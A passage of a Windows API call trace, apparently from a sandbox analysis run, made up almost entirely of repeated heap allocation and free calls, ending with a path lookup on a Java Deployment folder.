hHeap=0xd10000) returned 1 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.278] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.278] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.279] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.279] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.280] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.280] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.281] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.281] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0119.286] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0119.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0119.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8490 | out: hHeap=0xd10000) returned 1 [0119.286] 